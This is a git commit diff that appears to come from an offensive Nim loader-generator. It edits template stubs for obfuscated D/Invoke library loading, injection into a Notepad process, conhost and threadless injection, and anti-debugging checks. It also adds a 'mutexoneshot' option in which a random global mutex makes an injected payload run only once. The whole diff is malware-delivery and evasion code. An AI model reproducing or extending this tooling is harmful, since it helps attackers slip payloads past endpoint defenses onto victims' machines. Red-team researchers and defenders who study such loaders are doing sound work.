This commit is contained in:
S3cur3Th1sSh1t
2024-09-30 09:56:12 +02:00
parent 2349da13cd
commit 85efb15541
3 changed files with 26 additions and 6 deletions
+2 -4
View File
@@ -314,16 +314,14 @@ let DInvokeStubThird * = """
var randfive: string = obf("laiuazduixzuiyxnal")
if (status != 0):
when defined(verbose):
echo fmt"[-] Failed to load {Libname}, status: {status}\n"
echo fmt"[-] Failed to load \n", LibName, " status: ", status
if (hLibrary == 0):
when defined(verbose):
echo "HLibrary still null"
return 0
else:
when defined(verbose):
echo fmt"Loaded {LibName} successfully!"
when defined(verbose):
echo fmt"[+] Loaded {LibName} at {hLibrary}"
echo fmt"Loaded ", LibName, " successfully"
return hLibrary
"""
+24 -2
View File
@@ -3712,7 +3712,8 @@ let NotepadProcIDStub * = fmt"""
# resume main thread for execution
ResumeThread(treadHandle)
# Wait for the thread to finish
WaitForSingleObject(treadHandle, INFINITE)
when not defined(mutexoneshot):
WaitForSingleObject(treadHandle, INFINITE)
when defined(verbose):
echo obf("[*] Quit main process...")
quit(1)
@@ -3829,6 +3830,22 @@ when not defined(DInvoke):
proc main(lpParameter: LPVOID) : DWORD {.stdcall.} =
when defined(mutexoneshot):
Sleep(2000)
var dontcontinue: BOOL = FALSE
var temp: array[MAX_PATH, char]
if GetModuleFileNameA(cast[HMODULE](0), cast[LPSTR](temp.addr), DWORD(temp.len)) > 0:
let mutexName = &"Global\\REPLACEMUTEX"
var lastError: DWORD
let mutex = CreateMutexA(nil, TRUE, mutexName)
lastError = GetLastError()
if mutex != 0 and lastError != ERROR_ALREADY_EXISTS:
dontcontinue = FALSE
else:
dontcontinue = TRUE
if(dontcontinue):
quit(1)
"""
let BeingDebugged * = fmt"""
@@ -4110,7 +4127,12 @@ if(threadless):
if(conhostinject):
stub.add(conhostinjectenumstubs)
stub.add(MainStub)
if (not mutexoneshot):
stub.add(MainStub)
else:
var mutexname = rndStr(8)
var newMainStub = MainStub.replace("REPLACEMUTEX", mutexname)
stub.add(newMainStub)
stub.add(getRandStub())
Binary file not shown.